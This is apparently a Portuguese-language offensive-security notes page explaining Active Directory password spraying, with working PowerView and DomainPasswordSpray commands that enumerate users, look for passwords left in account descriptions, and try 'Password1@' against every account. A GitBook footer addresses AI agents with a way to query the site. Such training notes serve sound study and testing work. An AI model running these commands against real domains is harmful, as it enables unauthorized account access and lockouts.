> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/acl-security-descriptors-and-permissions/password-spraying.md).

# Password Spraying

#### 1. Princípio

Password spraying consiste em testar a mesma senha em várias contas de usuário.

Ao contrário de um ataque clássico de força bruta, que testa muitas senhas em um único usuário, o password spraying geralmente testa um pequeno número de senhas em muitos usuários.

Essa técnica é usada para identificar contas que compartilham a mesma senha.

#### 2. Atenção em ambiente real

Em um ambiente real, essa técnica deve ser usada com muito cuidado.

Tentativas repetidas de autenticação podem causar:

* bloqueio da conta;
* alertas de segurança;
* detecção pela equipe de EDR, SIEM ou SOC;
* impacto operacional sobre os usuários.

#### 3. Listando descrições de usuários

Antes de iniciar o password spraying, pode ser útil consultar as descrições das contas de usuário.

Algumas descrições podem conter informações sensíveis, às vezes até mesmo senhas deixadas por engano.

Comando do PowerView:

{% code overflow="wrap" %}

```powershell
Get-NetUser | select name,description
```

{% endcode %}

<figure><img src="/files/3180598c3b0bd7364c8f1ac1b505958431499233" alt=""><figcaption></figcaption></figure>

#### 4. Carregando DomainPasswordSpray

{% embed url="<https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1>" %}

{% code overflow="wrap" %}

```powershell
. ./DomainPasswordSpray.ps1
```

{% endcode %}

#### 5. Criando uma lista de usuários

Extraímos a lista de usuários do domínio para um arquivo de texto:

{% code overflow="wrap" %}

```powershell
Get-NetUser | Select-Object -ExpandProperty name | Out-File C:/Users/user1/Desktop/users.txt
```

{% endcode %}

#### 6. Iniciando password spraying

Em seguida, iniciamos o password spraying com a senha escolhida:

{% code overflow="wrap" %}

```powershell
Invoke-DomainPasswordSpray -UserList ./users.txt -Password "Password1@" -Verbose
```

{% endcode %}

<figure><img src="/files/2e0f1d7b06aed87d1febdf1ea9fff91e361a7d73" alt=""><figcaption></figcaption></figure>

Este comando testa a `Password1@` senha nos usuários presentes no `users.txt` arquivo.

Se algumas contas usarem essa senha, a ferramenta as mostrará como autenticações bem-sucedidas.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/acl-security-descriptors-and-permissions/password-spraying.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
